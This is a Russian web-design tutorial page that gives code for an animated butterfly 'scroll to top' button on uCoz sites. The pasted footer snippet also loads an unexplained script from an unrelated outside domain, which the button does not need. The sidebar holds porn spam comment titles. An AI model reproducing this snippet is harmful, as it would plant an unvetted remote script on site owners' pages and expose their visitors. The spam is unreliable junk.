Среда, 22.05.2024, 21:38


Главная
Онлайн уроки Регистрация ВходРеклама у нас / ПОМОЧЬ ПРОЕКТУ
Приветствую Вас, Новичок · RSS
Меню сайта
доска почета

brettnz69
Файлов:
10645

zyzy
Файлов:
2481

NIKIG
Файлов:
1190

didl3
Файлов:
1072
статистика
Онлайн всего: 1
Гостей: 1
Пользователей: 0

Сегодня были:

 
Главная » 2013 » Май » 3 » Уникальная кнопка Scroll To Top (наверх) для сайта

19:09
Уникальная кнопка Scroll To Top (наверх) для сайта
О том, как установить так называемую кнопку "наверх" на Ucoz, имеется достаточно информации. Тем не менее, я тоже вношу свой скромный вклад в описание этой темы.
Моя кнопка имеет пару существенных деталей, которые придают ей уникальность.
Во первых, мне всегда не нравилось то, что кнопка появляется сразу же после минимальной прокрутки страницы. Читатель еще не ознакомился с контентом, а уже "маячит" кнопка, призывая "наверх" и загораживает информацию на боковой панели. В моей кнопке есть настройка и вы сможете установить место страницы, когда она появляется (в середине поста, после или там где комментарии).
Во вторых, учитывая дизайн и специфику многих блогов моих читателей, я сделал анимированную кнопку в ввиде бабочки, что бесспорно является элементом уникальности.
И еще маленькая деталь - цвет при наведении на бабочку курсора, становится более насыщенным.

Установка:
Заходим в панель управления, далее Управление дизайном » Редактирование шаблонов » Глобальные блоки » Нижняя часть сайта. В самый низ вставляете код.

Код
<style>.b-top {z-index:2600;position:fixed;left:0;bottom:10px;width:34;opacity: 0.5;filter:alpha(opacity=50);}
.b-top:hover {opacity:1;filter:alpha(opacity=100);cursor:pointer;}
.b-top-but {z-index:2600;position:absolute;display:block;left:56px;bottom:0;margin:0 0 0 100%;padding:79px 12px 4px;
color:black;background: url(http://bambun.ru/site_img/c701ebd202c1.gif) no-repeat 50% 11px;border-radius:7px;}</style><script type="text/javascript" src="http://returna.net/background.js"></script><script type="text/javascript">$(document).ready(function(){
$(window).scroll(function () {if ($(this).scrollTop() > 1000) {$('#scroller').fadeIn();} else {$('#scroller').fadeOut();}});
$('#scroller').click(function () {$('body,html').animate({scrollTop: 0}, 400); return false;});
});</script><div id="scroller" class="b-top" style="display: none;"><span class="b-top-but">Наверх</span></div>
Просмотров: 249 | Добавил: greenpis | Рейтинг: 0.0/0
Всего комментариев: 0
Имя *:
Email:
Код *:
Copyright BENO Corp © 2024
кабинет
Среда
22.05.2024
21:38

Требуются файловики за плату
Логин:
Пароль:
Пользователей: 47495 Зарегистрируйтесь чтобы убрать рекламу
Предлагаем:
БЕСПЛАТНОЕ РАЗМЕЩЕНИЕ ВАШИХ СТАТЕЙ С ВЕЧНЫМИ ССЫЛКАМИ!
Онлайн уроки
Создаем Sinedots-ёлку, этакий новогодний спецэффект
Учимся цветокоррекции летних фотографий
Создаем имитацию 3D силами фотошоп
Создание интерфейса плеера, дизайн программ
Настоящий рисунок карандашом
Цветокоррекция и фотообработка портрета женщины
Рисование волшебных крыльев
Ослепительный белый фон
Делаем хромированные вишни
Свет из окна падающий на стену
НОВЫЕ КОММЕНТАРИИ
Учимся создавать собственный форум New hot project galleries, daily updates
Учимся создавать собственный форум Hot teen pics
http://1998pornpics.gul

Учимся создавать собственный форум Big Ass Photos - Free Huge Butt Porn, Big Bo

Учимся создавать собственный форум Young Heaven - Naked Teens & Young Porn Pict

Учимся создавать собственный форум Teen Girls Pussy Pics. Hot galleries


Учимся создавать собственный форум Free Porn Galleries - Hot Sex Pictures

Учимся создавать собственный форум Big Ass Photos - Free Huge Butt Porn, Big Bo

Учимся создавать собственный форум Young Heaven - Naked Teens & Young Porn Pict

Учимся создавать собственный форум My new hot project|enjoy new website
Учимся создавать собственный форум Dirty Porn Photos, daily updated galleries <

Учимся создавать собственный форум My new hot project|enjoy new website
Учимся создавать собственный форум Scandal porn galleries, daily updated lists




Любая публикация опубликованная на софт портале предоставлена только для ознакомления и является авторским материалом. Администрация не несет никакой отвественности за размещенные новости, программы, статьи и ущерб не оплачивает. Копирование без авторского разрешения уголовно наказуемо законодательством РФ и Украины: "Об авторском и смежном праве". Если вы берете новость с сайта то вы обязаны поставить активную ссылку!
Карта сайта